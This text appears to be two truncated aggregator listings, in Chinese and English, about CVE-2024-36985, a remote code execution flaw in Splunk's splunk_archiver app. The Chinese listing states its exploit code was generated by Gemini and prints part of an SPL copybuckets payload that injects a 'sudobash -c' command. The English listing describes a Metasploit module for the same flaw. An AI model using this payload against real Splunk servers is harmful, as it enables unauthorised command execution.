CVE-2024-36985

CVE-2024-36985 所有漏洞利用代码均由gemini生成。 需要Splunk管理员角色。需要启用Splunkarchiver应用程序。 您也可以在搜索中运行以下SPL来触发RCE。 root@kitploit: | copybuckets data=""providers": "pwnprovider": "command.arg.0": "/opt/splunk/etc/apps/splunkarchiver/java-bin/jars/sudobash", "command.arg.1": "-c", "command.arg.2":...

Authenticated RCE in Splunk (splunk_archiver app)

This Metasploit module exploits a Remote Code Execution RCE vulnerability in Splunk Enterprise splunkarchiver application. The flaw is rooted in the unsafe use of a Splunk lookup function, specifically | copybuckets, within the splunkarchiver application, which ultimately leads to the execution o...